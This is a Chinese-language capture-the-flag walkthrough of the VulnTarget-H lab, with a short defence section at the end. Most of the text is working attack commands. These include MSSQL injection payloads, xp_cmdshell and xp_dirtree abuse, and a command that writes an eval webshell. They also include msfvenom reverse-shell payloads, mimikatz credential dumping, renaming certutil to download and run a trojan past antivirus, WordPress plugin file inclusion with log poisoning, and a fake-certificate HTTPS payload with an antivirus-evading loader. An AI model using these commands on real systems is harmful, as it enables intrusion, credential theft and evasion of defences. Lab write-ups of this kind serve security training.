vulntarget-h靶场渗透
字数 2155 2025-08-22 22:47:30
VulnTarget-H 靶场渗透实战教学文档
1. 靶场环境概述
VulnTarget-H 靶场包含多个系统:
- Win2008 Server (IP动态分配)
- Win7 Enterprise
- Win10 with WordPress
2. Win2008 渗透过程
2.1 信息收集
-
IP探测:
- 使用
arp-scan -l扫描内网IP - 发现IP从192.168.229.138变为192.168.229.140(动态分配)
- 使用
-
端口扫描:
- 使用fscan扫描发现:
- 永恒之蓝漏洞(MS17-010)
- 80端口Web服务
- 使用fscan扫描发现:
2.2 SQL注入攻击
-
注入点确认:
- 访问
http://192.168.229.138/?user_id=1' or 1=1#确认存在数字型注入
- 访问
-
字段数量判断:
order by 5正常,order by 6报错 → 5个字段
-
联合查询:
http://192.168.229.138/?user_id=-1 union select 1,2,3,4,5- 回显点为1,2,3,4
-
权限确认:
- 站库不分离:
http://192.168.229.138/?user_id=1 and ((select host_name())=(select @@servername)) - sysadmin权限:
http://192.168.229.138/?user_id=1 and 1=(select is_srvrolemember('sysadmin')) - db_owner权限:
http://192.168.229.138/?user_id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
- 站库不分离:
-
xp_cmdshell确认:
http://192.168.229.138/?user_id=-1 union select null,null,null,(SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'),null- 返回1表示存在
2.3 目录爆破
-
创建临时表:
CREATE TABLE dirtmp (dir varchar(8000),num int,num1 int); -
目录枚举:
insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1; insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/',1,1; insert into dirtmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/edrfgyhujikopl',1,1; -
使用sqlmap导出数据:
sqlmap -u http://192.168.229.138/?user_id=1 -D FoundStone_Bank -T dirtmp -C num --dump –fresh-queries –flush-session- 发现Web目录:
c:/inetpub/edrfgyhujikopl
- 发现Web目录:
2.4 写入Webshell
- 使用VBS方法写入(绕过360拦截):
declare @f int,@g int; exec sp_oacreate 'Scripting.FileSystemObject',@f output; EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\edrfgyhujikopl\b.aspx',1; EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>';
2.5 MSF上线
-
生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.229.136 LPORT=8086 -f exe >8086.exe -
监听设置:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.229.136 set lport 8086 run -
权限提升:
- 使用
tokenmagic模块提权至system - 获取Hash:
load mimikatz→kiwi_cmd sekurlsa::logonpasswords - 获取密码:
Winmimayijingwangjile@
- 使用
-
内网探测:
- 发现IP:192.168.229.138 和 192.168.153.128
- 添加路由:
run post/multi/manage/autoroute
3. Win7 渗透过程
3.1 内网扫描
- 使用fscan扫描:
fscan32.exe -h 192.168.153.1/24 -np- 发现192.168.153.130(Win7)开放139,135,445,80端口
3.2 命令执行漏洞利用
-
绕过火绒拦截:
- 重命名certutil:
copy c:\windows\system32\certutil.exe C:\\Users\\Public\\Documents\\a.exe
- 重命名certutil:
-
下载木马:
C:\\Users\\Public\\Documents\\a.exe -urlcache -split -f http://192.168.153.128/6354.exe C:\\Users\\Public\\Documents\\shell.exe -
执行木马:
start C:\\Users\\Public\\Documents\\shell.exe -
获取flag:
type c:\phpstudy_pro\COM\a.txt→dsuijaddjsfvos.php
4. Win10 渗透过程
4.1 WordPress信息收集
- wpscan扫描:
proxychains wpscan --url http://192.168.153.129/- 发现mail-masta插件1.0版本(CVE-2016-10956)
4.2 文件包含漏洞利用
-
漏洞路径:
/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl= -
日志包含:
- 发现日志轮转:
access.log.1723075200 - 构造请求包含日志文件
- 发现日志轮转:
-
绕过Defender:
- 使用
<?php $_POST[1] ?>代替常规一句话木马
- 使用
4.3 HTTPS加密上线
-
生成证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \ -keyout www.google.com.key \ -out www.google.com.crt && \ cat www.google.com.key www.google.com.crt > www.google.com.pem && \ rm -f www.google.com.key www.google.com.crt -
生成Shellcode:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.153.128 LPORT=2239 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f c -o 2239.c -
使用BypassLoad免杀:
- 分离式加载shellcode
- 远程加载加密的shellcode(code.png)
4.4 权限提升
- 使用SMBGhost漏洞:
use exploit/windows/local/cve_2020_0796_smbghost set lhost 192.168.153.128 set lport 7984 set session 8 run
5. 总结与防御建议
5.1 攻击路径总结
-
Win2008:
- MSSQL注入 → xp_cmdshell → 写入Webshell → 获取系统权限
-
Win7:
- 命令执行漏洞 → 绕过杀软 → 下载执行木马
-
Win10:
- WordPress插件漏洞 → 文件包含 → 日志污染 → 远程加载加密shellcode
5.2 防御建议
-
数据库安全:
- 禁用xp_cmdshell等危险存储过程
- 使用最小权限原则
-
Web应用安全:
- 及时更新插件和CMS
- 输入过滤和参数化查询
-
系统安全:
- 及时安装补丁
- 配置适当的杀毒规则
- 限制命令执行功能
-
日志安全:
- 保护日志目录不可写
- 禁用错误信息泄露
-
网络隔离:
- 合理划分网络区域
- 限制横向移动